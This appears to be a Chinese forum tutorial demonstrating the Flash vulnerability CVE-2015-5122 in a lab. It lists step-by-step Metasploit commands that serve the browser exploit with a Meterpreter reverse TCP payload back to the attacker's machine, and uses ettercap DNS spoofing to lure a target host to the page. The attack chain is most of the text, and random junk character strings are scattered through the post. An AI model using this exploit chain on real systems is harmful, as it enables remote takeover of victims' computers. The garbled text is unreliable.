cve2015-5122漏洞实例演示虚拟机

admin

2 m, l# g, o n3 k 二、cve2015-5122漏洞实例演示虚拟机

5 S$ d* `6 p/ k+ [2 U S/ i: _

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： + H& U0 g' f6 h

" E+ D: I! ~$ R0 B: R

search cve-2015-5122如图： , ]1 f2 g4 H3 s+ D3 B9 z

 

, j( G" c: B; s1 S

下面我们敲如下命令：

use exploit/multi/browser/adobe_flash_opaque_background_uaf

( b" R1 N: u$ S# _; J; v: m+ j

; K0 a! L3 u e o set PAYLOAD windows/meterpreter/reverse_tcp - h0 m' c0 V& p5 ], R

set LHOST 192.168.0.109

$ U5 B; U% G% z/ m) A" A: O( V

$ u. o Z0 g; c9 C" F/ h set URIPATH /                        /*根目录*/

3 \* ~7 g$ z. a* {* u' x* Z set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 + R1 ]) |* V, b. }" l$ `

& x8 K1 o& ^* W# F, G set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 % E6 F( I( ]( a, M E6 a

# p# ^- [: @6 _, G9 t 然后show options如图：

. k( x* e# z& \

  . P5 W6 b) ?- d9 w6 e

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
2 p* y( W- G: C. m A* B( n

4 _ A7 {# w# ?* A, e$ }

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

4 q' m Y( C5 P8 ~# v

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf W3 A! v1 }! K: H2 u9 {

/ s4 K# T v9 X/ L* Z- F+ a3 E

8 p2 X6 g k1 |/ _   # X3 @ a' ?% m5 M. K Q

+ m+ z5 Z7 f# a: t3 V& K

; B, O# s1 }% M' I1 [. | 成功了，这时候我们断开ettercap，如图： ; F9 @$ w8 u; `% h% O

! j/ ? k9 q9 |! c" P6 b

  ) }: m/ U" p1 h7 z3 Z

$ s1 p9 P* Y$ {4 f" P' B

Screenshot如图： . V$ [# r& D4 r7 v

; K4 q. Y" H+ T& }

: h9 }4 Y5 {6 {$ y  

1 h* q& Q/ @2 W/ x" `# Y# |